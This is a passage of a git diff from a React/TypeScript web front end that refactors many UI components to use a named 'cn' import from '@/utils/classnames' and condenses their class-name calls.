-            'data-[leave]:opacity-0',
-          )} />
+            'data-[leave]:opacity-0')} />
         </TransitionChild>
         <div
           className="fixed inset-0 overflow-y-auto"
@@ -55,16 +53,14 @@ export default function Modal({
             e.stopPropagation()
           }}
         >
-          <div className={classNames('flex min-h-full items-center justify-center p-4 text-center', containerClassName)}>
+          <div className={cn('flex min-h-full items-center justify-center p-4 text-center', containerClassName)}>
             <TransitionChild>
-              <DialogPanel className={classNames(
-                'relative w-full max-w-[480px] rounded-2xl bg-components-panel-bg p-6 text-left align-middle shadow-xl transition-all',
+              <DialogPanel className={cn('relative w-full max-w-[480px] rounded-2xl bg-components-panel-bg p-6 text-left align-middle shadow-xl transition-all',
                 overflowVisible ? 'overflow-visible' : 'overflow-hidden',
                 'duration-100 ease-in data-[closed]:scale-95 data-[closed]:opacity-0',
                 'data-[enter]:scale-100 data-[enter]:opacity-100',
                 'data-[enter]:scale-95 data-[leave]:opacity-0',
-                className,
-              )}>
+                className)}>
                 {title && <DialogTitle
                   as="h3"
                   className="title-2xl-semi-bold text-text-primary"
diff --git a/web/app/components/base/modal/modal.tsx b/web/app/components/base/modal/modal.tsx
index 49be4f2f54..cf19bc976f 100644
--- a/web/app/components/base/modal/modal.tsx
+++ b/web/app/components/base/modal/modal.tsx
@@ -4,7 +4,7 @@ import {
   PortalToFollowElem,
   PortalToFollowElemContent,
 } from '@/app/components/base/portal-to-follow-elem'
-import cn from '@/utils/classnames'
+import { cn } from '@/utils/classnames'
 import { RiCloseLine } from '@remixicon/react'
 import { noop } from 'lodash-es'
 import { memo } from 'react'
diff --git a/web/app/components/base/node-status/index.tsx b/web/app/components/base/node-status/index.tsx
index a09737809d..03adb8e099 100644
--- a/web/app/components/base/node-status/index.tsx
+++ b/web/app/components/base/node-status/index.tsx
@@ -1,6 +1,6 @@
 'use client'
 import AlertTriangle from '@/app/components/base/icons/src/vender/solid/alertsAndFeedback/AlertTriangle'
-import classNames from '@/utils/classnames'
+import { cn } from '@/utils/classnames'
 import { RiErrorWarningFill } from '@remixicon/react'
 import { type VariantProps, cva } from 'class-variance-authority'
 import type { CSSProperties } from 'react'
@@ -51,17 +51,13 @@ const NodeStatus = ({
 
   return (
     <div
-      className={classNames(
-        nodeStatusVariants({ status, className }),
-      )}
+      className={cn(nodeStatusVariants({ status, className }))}
       style={styleCss}
       {...props}
     >
       <Icon
-        className={classNames(
-          'h-3.5 w-3.5 shrink-0',
-          iconClassName,
-        )}
+        className={cn('h-3.5 w-3.5 shrink-0',
+          iconClassName)}
       />
       <span>{message ?? defaultMessage}</span>
       {children}
diff --git a/web/app/components/base/notion-icon/index.tsx b/web/app/components/base/notion-icon/index.tsx
index 75fea8c378..9dbb909332 100644
--- a/web/app/components/base/notion-icon/index.tsx
+++ b/web/app/components/base/notion-icon/index.tsx
@@ -1,5 +1,5 @@
 import { RiFileTextLine } from '@remixicon/react'
-import cn from '@/utils/classnames'
+import { cn } from '@/utils/classnames'
 import type { DataSourceNotionPage } from '@/models/common'
 
 type IconTypes = 'workspace' | 'page'
diff --git a/web/app/components/base/notion-page-selector/page-selector/index.tsx b/web/app/components/base/notion-page-selector/page-selector/index.tsx
index 3541997c67..c3c5636b0c 100644
--- a/web/app/components/base/notion-page-selector/page-selector/index.tsx
+++ b/web/app/components/base/notion-page-selector/page-selector/index.tsx
@@ -5,7 +5,7 @@ import type { ListChildComponentProps } from 'react-window'
 import { RiArrowDownSLine, RiArrowRightSLine } from '@remixicon/react'
 import Checkbox from '../../checkbox'
 import NotionIcon from '../../notion-icon'
-import cn from '@/utils/classnames'
+import { cn } from '@/utils/classnames'
 import type { DataSourceNotionPage, DataSourceNotionPageMap } from '@/models/common'
 
 type PageSelectorProps = {
diff --git a/web/app/components/base/notion-page-selector/search-input/index.tsx b/web/app/components/base/notion-page-selector/search-input/index.tsx
index 6bf819e148..b5035ff483 100644
--- a/web/app/components/base/notion-page-selector/search-input/index.tsx
+++ b/web/app/components/base/notion-page-selector/search-input/index.tsx
@@ -2,7 +2,7 @@ import { useCallback } from 'react'
 import type { ChangeEvent } from 'react'
 import { useTranslation } from 'react-i18next'
 import { RiCloseCircleFill, RiSearchLine } from '@remixicon/react'
-import cn from '@/utils/classnames'
+import { cn } from '@/utils/classnames'
 
 type SearchInputProps = {
   value: string
diff --git a/web/app/components/base/pagination/index.tsx b/web/app/components/base/pagination/index.tsx
index e0c02df253..54848b54fc 100644
--- a/web/app/components/base/pagination/index.tsx
+++ b/web/app/components/base/pagination/index.tsx
@@ -6,7 +6,7 @@ import { useDebounceFn } from 'ahooks'
 import { Pagination } from './pagination'
 import Button from '@/app/components/base/button'
 import Input from '@/app/components/base/input'
-import cn from '@/utils/classnames'
+import { cn } from '@/utils/classnames'
 
 export type Props = {
   className?: string
diff --git a/web/app/components/base/pagination/pagination.tsx b/web/app/components/base/pagination/pagination.tsx
index 07ace7bcf2..733ba5dd82 100644
--- a/web/app/components/base/pagination/pagination.tsx
+++ b/web/app/components/base/pagination/pagination.tsx
@@ -1,5 +1,5 @@
 import React from 'react'
-import cn from 'classnames'
+import { cn } from '@/utils/classnames'
 import usePagination from './hook'
 import type {
   ButtonProps,
diff --git a/web/app/components/base/popover/index.tsx b/web/app/components/base/popover/index.tsx
index 2387737d02..fb7e86ebce 100644
--- a/web/app/components/base/popover/index.tsx
+++ b/web/app/components/base/popover/index.tsx
@@ -1,6 +1,6 @@
 import { Popover, PopoverButton, PopoverPanel, Transition } from '@headlessui/react'
 import { Fragment, cloneElement, isValidElement, useRef } from 'react'
-import cn from '@/utils/classnames'
+import { cn } from '@/utils/classnames'
 
 export type HtmlContentProps = {
   open?: boolean
diff --git a/web/app/components/base/portal-to-follow-elem/index.tsx b/web/app/components/base/portal-to-follow-elem/index.tsx
index e1192fe73b..685ac33a0b 100644
--- a/web/app/components/base/portal-to-follow-elem/index.tsx
+++ b/web/app/components/base/portal-to-follow-elem/index.tsx
@@ -17,7 +17,7 @@ import {
 } from '@floating-ui/react'
 
 import type { OffsetOptions, Placement } from '@floating-ui/react'
-import cn from '@/utils/classnames'
+import { cn } from '@/utils/classnames'
 export type PortalToFollowElemOptions = {
   /*
   * top, bottom, left, right
diff --git a/web/app/components/base/premium-badge/index.tsx b/web/app/components/base/premium-badge/index.tsx
index 7bf85cdcc3..c10ed8d0b7 100644
--- a/web/app/components/base/premium-badge/index.tsx
+++ b/web/app/components/base/premium-badge/index.tsx
@@ -2,7 +2,7 @@ import type { CSSProperties, ReactNode } from 'react'
 import React from 'react'
 import { type VariantProps, cva } from 'class-variance-authority'
 import { Highlight } from '@/app/components/base/icons/src/public/common'
-import classNames from '@/utils/classnames'
+import { cn } from '@/utils/classnames'
 import './index.css'
 
 const PremiumBadgeVariants = cva(
@@ -52,19 +52,15 @@ const PremiumBadge: React.FC<PremiumBadgeProps> = ({
 }) => {
   return (
     <div
-      className={classNames(
-        PremiumBadgeVariants({ size, color, allowHover, className }),
-        'relative text-nowrap',
-      )}
+      className={cn(PremiumBadgeVariants({ size, color, allowHover, className }),
+        'relative text-nowrap')}
       style={styleCss}
       {...props}
     >
       {children}
       <Highlight
-        className={classNames(
-          'absolute right-1/2 top-0 translate-x-[20%] opacity-50 transition-all duration-100 ease-out hover:translate-x-[30%] hover:opacity-80',
-          size === 's' ? 'h-[18px] w-12' : 'h-6 w-12',
-        )}
+        className={cn('absolute right-1/2 top-0 translate-x-[20%] opacity-50 transition-all duration-100 ease-out hover:translate-x-[30%] hover:opacity-80',
+          size === 's' ? 'h-[18px] w-12' : 'h-6 w-12')}
       />
     </div>
   )
diff --git a/web/app/components/base/progress-bar/progress-circle.tsx b/web/app/components/base/progress-bar/progress-circle.tsx
index b9b280eea3..1123e412e3 100644
--- a/web/app/components/base/progress-bar/progress-circle.tsx
+++ b/web/app/components/base/progress-bar/progress-circle.tsx
@@ -1,5 +1,5 @@
 import { memo } from 'react'
-import cn from '@/utils/classnames'
+import { cn } from '@/utils/classnames'
 
 type ProgressCircleProps = {
   className?: string
diff --git a/web/app/components/base/prompt-editor/index.tsx b/web/app/components/base/prompt-editor/index.tsx
index 50fdc1f920..eb780d90a4 100644
--- a/web/app/components/base/prompt-editor/index.tsx
+++ b/web/app/components/base/prompt-editor/index.tsx
@@ -78,7 +78,7 @@ import {
   UPDATE_HISTORY_EVENT_EMITTER,
 } from './constants'
 import { useEventEmitterContextContext } from '@/context/event-emitter'
-import cn from '@/utils/classnames'
+import { cn } from '@/utils/classnames'
 
 export type PromptEditorProps = {
   instanceId?: string
diff --git a/web/app/components/base/prompt-editor/plugins/current-block/component.tsx b/web/app/components/base/prompt-editor/plugins/current-block/component.tsx
index 1d1cb7bde5..b01fe0626b 100644
--- a/web/app/components/base/prompt-editor/plugins/current-block/component.tsx
+++ b/web/app/components/base/prompt-editor/plugins/current-block/component.tsx
@@ -3,7 +3,7 @@ import { GeneratorType } from '@/app/components/app/configuration/config/automat
 import { useLexicalComposerContext } from '@lexical/react/LexicalComposerContext'
 import { useSelectOrDelete } from '../../hooks'
 import { CurrentBlockNode, DELETE_CURRENT_BLOCK_COMMAND } from '.'
-import cn from '@/utils/classnames'
+import { cn } from '@/utils/classnames'
 import { CodeAssistant, MagicEdit } from '../../../icons/src/vender/line/general'
 
 type CurrentBlockComponentProps = {
diff --git a/web/app/components/base/prompt-editor/plugins/error-message-block/component.tsx b/web/app/components/base/prompt-editor/plugins/error-message-block/component.tsx
index 3fc4db2323..1f98c51cb5 100644
--- a/web/app/components/base/prompt-editor/plugins/error-message-block/component.tsx
+++ b/web/app/components/base/prompt-editor/plugins/error-message-block/component.tsx
@@ -2,7 +2,7 @@ import { type FC, useEffect } from 'react'
 import { useLexicalComposerContext } from '@lexical/react/LexicalComposerContext'
 import { useSelectOrDelete } from '../../hooks'
 import { DELETE_ERROR_MESSAGE_COMMAND, ErrorMessageBlockNode } from '.'
-import cn from '@/utils/classnames'
+import { cn } from '@/utils/classnames'
 import { Variable02 } from '../../../icons/src/vender/solid/development'
 
 type Props = {
diff --git a/web/app/components/base/prompt-editor/plugins/last-run-block/component.tsx b/web/app/components/base/prompt-editor/plugins/last-run-block/component.tsx
index e7f96cd4da..3518fb99ef 100644
--- a/web/app/components/base/prompt-editor/plugins/last-run-block/component.tsx
+++ b/web/app/components/base/prompt-editor/plugins/last-run-block/component.tsx
@@ -2,7 +2,7 @@ import { type FC, useEffect } from 'react'
 import { useLexicalComposerContext } from '@lexical/react/LexicalComposerContext'
 import { useSelectOrDelete } from '../../hooks'
 import { DELETE_LAST_RUN_COMMAND, LastRunBlockNode } from '.'
-import cn from '@/utils/classnames'
+import { cn } from '@/utils/classnames'
 import { Variable02 } from '../../../icons/src/vender/solid/development'
 
 type Props = {
diff --git a/web/app/components/base/prompt-editor/plugins/placeholder.tsx b/web/app/components/base/prompt-editor/plugins/placeholder.tsx
index 187b574cea..70b338858e 100644
--- a/web/app/components/base/prompt-editor/plugins/placeholder.tsx
+++ b/web/app/components/base/prompt-editor/plugins/placeholder.tsx
@@ -1,7 +1,7 @@
 import { memo } from 'react'
 import type { ReactNode } from 'react'
 import { useTranslation } from 'react-i18next'
-import cn from '@/utils/classnames'
+import { cn } from '@/utils/classnames'
 
 const Placeholder = ({
   compact,
diff --git a/web/app/components/base/radio-card/index.tsx b/web/app/components/base/radio-card/index.tsx
index 417897270b..605f3dccc7 100644
--- a/web/app/components/base/radio-card/index.tsx
+++ b/web/app/components/base/radio-card/index.tsx
@@ -1,7 +1,7 @@
 'use client'
 import type { FC } from 'react'
 import React from 'react'
-import cn from '@/utils/classnames'
+import { cn } from '@/utils/classnames'
 import { noop } from 'lodash-es'
 
 type Props = {
diff --git a/web/app/components/base/radio-card/simple/index.tsx b/web/app/components/base/radio-card/simple/index.tsx
index 7bb5c0f19a..fff7fe9c83 100644
--- a/web/app/components/base/radio-card/simple/index.tsx
+++ b/web/app/components/base/radio-card/simple/index.tsx
@@ -2,7 +2,7 @@
 import type { FC } from 'react'
 import React from 'react'
 import s from './style.module.css'
-import cn from '@/utils/classnames'
+import { cn } from '@/utils/classnames'
 
 type Props = {
   className?: string
diff --git a/web/app/components/base/radio/component/group/index.tsx b/web/app/components/base/radio/component/group/index.tsx
index 8bc90e2b1b..aa11fdddb7 100644
--- a/web/app/components/base/radio/component/group/index.tsx
+++ b/web/app/components/base/radio/component/group/index.tsx
@@ -1,7 +1,7 @@
 import type { ReactNode } from 'react'
 import RadioGroupContext from '../../context'
 import s from '../../style.module.css'
-import cn from '@/utils/classnames'
+import { cn } from '@/utils/classnames'
 
 export type TRadioGroupProps = {
   children?: ReactNode | ReactNode[]
diff --git a/web/app/components/base/radio/component/radio/index.tsx b/web/app/components/base/radio/component/radio/index.tsx
index 3f94e8b33f..d31507cdd4 100644
--- a/web/app/components/base/radio/component/radio/index.tsx
+++ b/web/app/components/base/radio/component/radio/index.tsx
@@ -3,7 +3,7 @@ import { useId } from 'react'
 import { useContext } from 'use-context-selector'
 import RadioGroupContext from '../../context'
 import s from '../../style.module.css'
-import cn from '@/utils/classnames'
+import { cn } from '@/utils/classnames'
 
 export type IRadioProps = {
   className?: string
diff --git a/web/app/components/base/radio/ui.tsx b/web/app/components/base/radio/ui.tsx
index c10e324adc..4d1ce7a300 100644
--- a/web/app/components/base/radio/ui.tsx
+++ b/web/app/components/base/radio/ui.tsx
@@ -1,7 +1,7 @@
 'use client'
 import type { FC } from 'react'
 import React from 'react'
-import cn from '@/utils/classnames'
+import { cn } from '@/utils/classnames'
 
 type Props = {
   isChecked: boolean
diff --git a/web/app/components/base/search-input/index.tsx b/web/app/components/base/search-input/index.tsx
index abf1817e88..3b20a8816c 100644
--- a/web/app/components/base/search-input/index.tsx
+++ b/web/app/components/base/search-input/index.tsx
@@ -2,7 +2,7 @@ import type { FC } from 'react'
 import { useRef, useState } from 'react'
 import { useTranslation } from 'react-i18next'
 import { RiCloseCircleFill, RiSearchLine } from '@remixicon/react'
-import cn from '@/utils/classnames'
+import { cn } from '@/utils/classnames'
 
 type SearchInputProps = {
   placeholder?: string
diff --git a/web/app/components/base/segmented-control/index.tsx b/web/app/components/base/segmented-control/index.tsx
index 6c2d7fab0e..92c4c0c829 100644
--- a/web/app/components/base/segmented-control/index.tsx
+++ b/web/app/components/base/segmented-control/index.tsx
@@ -1,5 +1,5 @@
 import React from 'react'
-import cn from '@/utils/classnames'
+import { cn } from '@/utils/classnames'
 import type { RemixiconComponentType } from '@remixicon/react'
 import Divider from '../divider'
 import type { VariantProps } from 'class-variance-authority'
diff --git a/web/app/components/base/select/custom.tsx b/web/app/components/base/select/custom.tsx
index f9032658c3..d17c8c7a7e 100644
--- a/web/app/components/base/select/custom.tsx
+++ b/web/app/components/base/select/custom.tsx
@@ -15,7 +15,7 @@ import {
 import type {
   PortalToFollowElemOptions,
 } from '@/app/components/base/portal-to-follow-elem'
-import cn from '@/utils/classnames'
+import { cn } from '@/utils/classnames'
 
 export type Option = {
   label: string
diff --git a/web/app/components/base/select/index.tsx b/web/app/components/base/select/index.tsx
index 1a096d7f93..d42c9fa2b9 100644
--- a/web/app/components/base/select/index.tsx
+++ b/web/app/components/base/select/index.tsx
@@ -6,7 +6,7 @@ import { ChevronDownIcon, ChevronUpIcon, XMarkIcon } from '@heroicons/react/20/s
 import Badge from '../badge/index'
 import { RiCheckLine, RiLoader4Line } from '@remixicon/react'
 import { useTranslation } from 'react-i18next'
-import classNames from '@/utils/classnames'
+import { cn } from '@/utils/classnames'
 import {
   PortalToFollowElem,
   PortalToFollowElemContent,
@@ -101,7 +101,7 @@ const Select: FC<ISelectProps> = ({
           onSelect(value)
         }
       }}>
-      <div className={classNames('relative')}>
+      <div className={cn('relative')}>
         <div className='group text-text-secondary'>
           {allowSearch
             ? <ComboboxInput
@@ -117,7 +117,7 @@ const Select: FC<ISelectProps> = ({
                 if (!disabled)
                   setOpen(!open)
               }
-            } className={classNames(`flex h-9 w-full items-center rounded-lg border-0 ${bgClassName} py-1.5 pl-3 pr-10 shadow-sm focus-visible:bg-state-base-hover focus-visible:outline-none group-hover:bg-state-base-hover sm:text-sm sm:leading-6`, optionClassName)}>
+            } className={cn(`flex h-9 w-full items-center rounded-lg border-0 ${bgClassName} py-1.5 pl-3 pr-10 shadow-sm focus-visible:bg-state-base-hover focus-visible:outline-none group-hover:bg-state-base-hover sm:text-sm sm:leading-6`, optionClassName)}>
               <div className='w-0 grow truncate text-left' title={selectedItem?.name}>{selectedItem?.name}</div>
             </ComboboxButton>}
           <ComboboxButton className="absolute inset-y-0 right-0 flex items-center rounded-r-md px-2 focus:outline-none" onClick={
@@ -137,11 +137,9 @@ const Select: FC<ISelectProps> = ({
                 key={item.value}
                 value={item}
                 className={({ active }: { active: boolean }) =>
-                  classNames(
-                    'relative cursor-default select-none rounded-lg py-2 pl-3 pr-9 text-text-secondary hover:bg-state-base-hover',
+                  cn('relative cursor-default select-none rounded-lg py-2 pl-3 pr-9 text-text-secondary hover:bg-state-base-hover',
                     active ? 'bg-state-base-hover' : '',
-                    optionClassName,
-                  )
+                    optionClassName)
                 }
               >
                 {({ /* active, */ selected }) => (
@@ -150,12 +148,10 @@ const Select: FC<ISelectProps> = ({
                       ? renderOption({ item, selected })
                       : (
                         <>
-                          <span className={classNames('block', selected && 'font-normal')}>{item.name}</span>
+                          <span className={cn('block', selected && 'font-normal')}>{item.name}</span>
                           {selected && (
                             <span
-                              className={classNames(
-                                'absolute inset-y-0 right-0 flex items-center pr-4 text-text-secondary',
-                              )}
+                              className={cn('absolute inset-y-0 right-0 flex items-center pr-4 text-text-secondary')}
                             >
                               <RiCheckLine className="h-4 w-4" aria-hidden="true" />
                             </span>
@@ -221,13 +217,13 @@ const SimpleSelect: FC<ISelectProps> = ({
       }}
     >
       {({ open }) => (
-        <div className={classNames('group/simple-select relative h-9', wrapperClassName)}>
+        <div className={cn('group/simple-select relative h-9', wrapperClassName)}>
           {renderTrigger && <ListboxButton className='w-full'>{renderTrigger(selectedItem, open)}</ListboxButton>}
           {!renderTrigger && (
             <ListboxButton onClick={() => {
               onOpenChange?.(open)
-            }} className={classNames(`flex h-full w-full items-center rounded-lg border-0 bg-components-input-bg-normal pl-3 pr-10 focus-visible:bg-state-base-hover-alt focus-visible:outline-none group-hover/simple-select:bg-state-base-hover-alt sm:text-sm sm:leading-6 ${disabled ? 'cursor-not-allowed' : 'cursor-pointer'}`, className)}>
-              <span className={classNames('system-sm-regular block truncate text-left text-components-input-text-filled', !selectedItem?.name && 'text-components-input-text-placeholder')}>{selectedItem?.name ?? localPlaceholder}</span>
+            }} className={cn(`flex h-full w-full items-center rounded-lg border-0 bg-components-input-bg-normal pl-3 pr-10 focus-visible:bg-state-base-hover-alt focus-visible:outline-none group-hover/simple-select:bg-state-base-hover-alt sm:text-sm sm:leading-6 ${disabled ? 'cursor-not-allowed' : 'cursor-pointer'}`, className)}>
+              <span className={cn('system-sm-regular block truncate text-left text-components-input-text-filled', !selectedItem?.name && 'text-components-input-text-placeholder')}>{selectedItem?.name ?? localPlaceholder}</span>
               <span className="absolute inset-y-0 right-0 flex items-center pr-2">
                 {isLoading ? <RiLoader4Line className='h-3.5 w-3.5 animate-spin text-text-secondary' />
                   : (selectedItem && !notClearable)
@@ -260,7 +256,7 @@ const SimpleSelect: FC<ISelectProps> = ({
           )}
 
           {(!disabled) && (
-            <ListboxOptions className={classNames('absolute z-10 mt-1 max-h-60 w-full overflow-auto rounded-xl border-[0.5px] border-components-panel-border bg-components-panel-bg-blur px-1 py-1 text-base shadow-lg backdrop-blur-sm focus:outline-none sm:text-sm', optionWrapClassName)}>
+            <ListboxOptions className={cn('absolute z-10 mt-1 max-h-60 w-full overflow-auto rounded-xl border-[0.5px] border-components-panel-border bg-components-panel-bg-blur px-1 py-1 text-base shadow-lg backdrop-blur-sm focus:outline-none sm:text-sm', optionWrapClassName)}>
               {items.map((item: Item) =>
                 item.isGroup ? (
                   <div
@@ -273,10 +269,8 @@ const SimpleSelect: FC<ISelectProps> = ({
                   <ListboxOption
                     key={item.value}
                     className={
-                      classNames(
-                        'relative cursor-pointer select-none rounded-lg py-2 pl-3 pr-9 text-text-secondary hover:bg-state-base-hover',
-                        optionClassName,
-                      )
+                      cn('relative cursor-pointer select-none rounded-lg py-2 pl-3 pr-9 text-text-secondary hover:bg-state-base-hover',
+                        optionClassName)
                     }
                     value={item}
                     disabled={item.disabled || disabled}
@@ -286,12 +280,10 @@ const SimpleSelect: FC<ISelectProps> = ({
                         {renderOption
                           ? renderOption({ item, selected })
                           : (<>
-                            <span className={classNames('block', selected && 'font-normal')}>{item.name}</span>
+                            <span className={cn('block', selected && 'font-normal')}>{item.name}</span>
                             {selected && !hideChecked && (
                               <span
-                                className={classNames(
-                                  'absolute inset-y-0 right-0 flex items-center pr-2 text-text-accent',
-                                )}
+                                className={cn('absolute inset-y-0 right-0 flex items-center pr-2 text-text-accent')}
                               >
                                 <RiCheckLine className="h-4 w-4" aria-hidden="true" />
                               </span>
@@ -356,9 +348,9 @@ const PortalSelect: FC<PortalSelectProps> = ({
           ? renderTrigger(selectedItem)
           : (
             <div
-              className={classNames(`
-            group flex h-9 items-center justify-between rounded-lg border-0 bg-components-input-bg-normal px-2.5 text-sm hover:bg-state-base-hover-alt ${readonly ? 'cursor-not-allowed' : 'cursor-pointer'}
-          `, triggerClassName, triggerClassNameFn?.(open))}
+              className={cn(`
+                          group flex h-9 items-center justify-between rounded-lg border-0 bg-components-input-bg-normal px-2.5 text-sm hover:bg-state-base-hover-alt ${readonly ? 'cursor-not-allowed' : 'cursor-pointer'}
+                        `, triggerClassName, triggerClassNameFn?.(open))}
               title={selectedItem?.name}
             >
               <span
@@ -377,7 +369,7 @@ const PortalSelect: FC<PortalSelectProps> = ({
       </PortalToFollowElemTrigger>
       <PortalToFollowElemContent className={`z-20 ${popupClassName}`}>
         <div
-          className={classNames('max-h-60 overflow-auto rounded-xl border-[0.5px] border-components-panel-border bg-components-panel-bg px-1 py-1 text-base shadow-lg focus:outline-none sm:text-sm', popupInnerClassName)}
+          className={cn('max-h-60 overflow-auto rounded-xl border-[0.5px] border-components-panel-border bg-components-panel-bg px-1 py-1 text-base shadow-lg focus:outline-none sm:text-sm', popupInnerClassName)}
         >
           {items.map((item: Item) => (
             <div
diff --git a/web/app/components/base/select/pure.tsx b/web/app/components/base/select/pure.tsx
index 3de8245025..50008ac3d2 100644
--- a/web/app/components/base/select/pure.tsx
+++ b/web/app/components/base/select/pure.tsx
@@ -16,7 +16,7 @@ import {
 import type {
   PortalToFollowElemOptions,
 } from '@/app/components/base/portal-to-follow-elem'
-import cn from '@/utils/classnames'
+import { cn } from '@/utils/classnames'
 
 export type Option = {
   label: string
diff --git a/web/app/components/base/simple-pie-chart/index.tsx b/web/app/components/base/simple-pie-chart/index.tsx
index 4b987ab42d..5a1a148424 100644
--- a/web/app/components/base/simple-pie-chart/index.tsx
+++ b/web/app/components/base/simple-pie-chart/index.tsx
@@ -3,7 +3,7 @@ import { memo, useMemo } from 'react'
 import ReactECharts from 'echarts-for-react'
 import type { EChartsOption } from 'echarts'
 import style from './index.module.css'
-import classNames from '@/utils/classnames'
+import { cn } from '@/utils/classnames'
 
 export type SimplePieChartProps = {
   percentage?: number
@@ -54,7 +54,7 @@ const SimplePieChart = ({ percentage = 80, fill = '#fdb022', stroke = '#f79009',
   return (
     <ReactECharts
       option={option}
-      className={classNames(style.simplePieChart, className)}
+      className={cn(style.simplePieChart, className)}
       style={{
         '--simple-pie-chart-color': fill,
         'width': size,
diff --git a/web/app/components/base/skeleton/index.tsx b/web/app/components/base/skeleton/index.tsx
index 114baa8fba..9cd7e3f09c 100644
--- a/web/app/components/base/skeleton/index.tsx
+++ b/web/app/components/base/skeleton/index.tsx
@@ -1,12 +1,12 @@
 import type { ComponentProps, FC } from 'react'
-import classNames from '@/utils/classnames'
+import { cn } from '@/utils/classnames'
 
 type SkeletonProps = ComponentProps<'div'>
 
 export const SkeletonContainer: FC<SkeletonProps> = (props) => {
   const { className, children, ...rest } = props
   return (
-    <div className={classNames('flex flex-col gap-1', className)} {...rest}>
+    <div className={cn('flex flex-col gap-1', className)} {...rest}>
       {children}
     </div>
   )
@@ -15,7 +15,7 @@ export const SkeletonContainer: FC<SkeletonProps> = (props) => {
 export const SkeletonRow: FC<SkeletonProps> = (props) => {
   const { className, children, ...rest } = props
   return (
-    <div className={classNames('flex items-center gap-2', className)} {...rest}>
+    <div className={cn('flex items-center gap-2', className)} {...rest}>
       {children}
     </div>
   )
@@ -24,7 +24,7 @@ export const SkeletonRow: FC<SkeletonProps> = (props) => {
 export const SkeletonRectangle: FC<SkeletonProps> = (props) => {
   const { className, children, ...rest } = props
   return (
-    <div className={classNames('my-1 h-2 rounded-sm bg-text-quaternary opacity-20', className)} {...rest}>
+    <div className={cn('my-1 h-2 rounded-sm bg-text-quaternary opacity-20', className)} {...rest}>
       {children}
     </div>
   )
@@ -33,7 +33,7 @@ export const SkeletonRectangle: FC<SkeletonProps> = (props) => {
 export const SkeletonPoint: FC<SkeletonProps> = (props) => {
   const { className, ...rest } = props
   return (
-    <div className={classNames('text-xs font-medium text-text-quaternary', className)} {...rest}>·</div>
+    <div className={cn('text-xs font-medium text-text-quaternary', className)} {...rest}>·</div>
   )
 }
 /** Usage
diff --git a/web/app/components/base/slider/index.tsx b/web/app/components/base/slider/index.tsx
index 1b41ee64c1..ea45b3ac7a 100644
--- a/web/app/components/base/slider/index.tsx
+++ b/web/app/components/base/slider/index.tsx
@@ -1,5 +1,5 @@
 import ReactSlider from 'react-slider'
-import cn from '@/utils/classnames'
+import { cn } from '@/utils/classnames'
 import './style.css'
 
 type ISliderProps = {
diff --git a/web/app/components/base/sort/index.tsx b/web/app/components/base/sort/index.tsx
index 3823b13d1a..14f3b0c59e 100644
--- a/web/app/components/base/sort/index.tsx
+++ b/web/app/components/base/sort/index.tsx
@@ -2,7 +2,7 @@ import type { FC } from 'react'
 import { useMemo, useState } from 'react'
 import { useTranslation } from 'react-i18next'
 import { RiArrowDownSLine, RiCheckLine, RiSortAsc, RiSortDesc } from '@remixicon/react'
-import cn from '@/utils/classnames'
+import { cn } from '@/utils/classnames'
 import {
   PortalToFollowElem,
   PortalToFollowElemContent,
diff --git a/web/app/components/base/svg/index.tsx b/web/app/components/base/svg/index.tsx
index d29fd17f0d..ee4b7efff4 100644
--- a/web/app/components/base/svg/index.tsx
+++ b/web/app/components/base/svg/index.tsx
@@ -1,7 +1,7 @@
 import React from 'react'
 import s from './style.module.css'
 import ActionButton from '../action-button'
-import cn from '@/utils/classnames'
+import { cn } from '@/utils/classnames'
 
 type ISVGBtnProps = {
   isSVG: boolean
diff --git a/web/app/components/base/switch/index.tsx b/web/app/components/base/switch/index.tsx
index bca98d0820..af96489982 100644
--- a/web/app/components/base/switch/index.tsx
+++ b/web/app/components/base/switch/index.tsx
@@ -1,7 +1,7 @@
 'use client'
 import React, { useEffect, useState } from 'react'
 import { Switch as OriginalSwitch } from '@headlessui/react'
-import classNames from '@/utils/classnames'
+import { cn } from '@/utils/classnames'
 
 type SwitchProps = {
   onChange?: (value: boolean) => void
@@ -60,23 +60,19 @@ const Switch = (
         setEnabled(checked)
         onChange?.(checked)
       }}
-      className={classNames(
-        wrapStyle[size],
+      className={cn(wrapStyle[size],
         enabled ? 'bg-components-toggle-bg' : 'bg-components-toggle-bg-unchecked',
         'relative inline-flex  shrink-0 cursor-pointer rounded-[5px] border-2 border-transparent transition-colors duration-200 ease-in-out',
         disabled ? '!cursor-not-allowed !opacity-50' : '',
         size === 'xs' && 'rounded-sm',
-        className,
-      )}
+        className)}
     >
       <span
         aria-hidden="true"
-        className={classNames(
-          circleStyle[size],
+        className={cn(circleStyle[size],
           enabled ? translateLeft[size] : 'translate-x-0',
           size === 'xs' && 'rounded-[1px]',
-          'pointer-events-none inline-block rounded-[3px] bg-components-toggle-knob shadow ring-0 transition duration-200 ease-in-out',
-        )}
+          'pointer-events-none inline-block rounded-[3px] bg-components-toggle-knob shadow ring-0 transition duration-200 ease-in-out')}
       />
     </OriginalSwitch>
   )
diff --git a/web/app/components/base/tab-header/index.tsx b/web/app/components/base/tab-header/index.tsx
index 846277e5db..0d49f84cbf 100644
--- a/web/app/components/base/tab-header/index.tsx
+++ b/web/app/components/base/tab-header/index.tsx
@@ -1,7 +1,7 @@
 'use client'
 import type { FC } from 'react'
 import React from 'react'
-import cn from '@/utils/classnames'
+import { cn } from '@/utils/classnames'
 
 type Item = {
   id: string
diff --git a/web/app/components/base/tab-slider-new/index.tsx b/web/app/components/base/tab-slider-new/index.tsx
index cf68abff1d..464226ee02 100644
--- a/web/app/components/base/tab-slider-new/index.tsx
+++ b/web/app/components/base/tab-slider-new/index.tsx
@@ -1,5 +1,5 @@
 import type { FC } from 'react'
-import cn from '@/utils/classnames'
+import { cn } from '@/utils/classnames'
 
 type Option = {
   value: string
diff --git a/web/app/components/base/tab-slider-plain/index.tsx b/web/app/components/base/tab-slider-plain/index.tsx
index b9b39657af..85454ab41d 100644
--- a/web/app/components/base/tab-slider-plain/index.tsx
+++ b/web/app/components/base/tab-slider-plain/index.tsx
@@ -1,7 +1,7 @@
 'use client'
 import type { FC } from 'react'
 import React from 'react'
-import cn from '@/utils/classnames'
+import { cn } from '@/utils/classnames'
 
 type Option = {
   value: string
diff --git a/web/app/components/base/tab-slider/index.tsx b/web/app/components/base/tab-slider/index.tsx
index 7c9364baf9..3e1eb69f0f 100644
--- a/web/app/components/base/tab-slider/index.tsx
+++ b/web/app/components/base/tab-slider/index.tsx
@@ -1,6 +1,6 @@
 import type { FC, ReactNode } from 'react'
 import { useEffect, useState } from 'react'
-import cn from '@/utils/classnames'
+import { cn } from '@/utils/classnames'
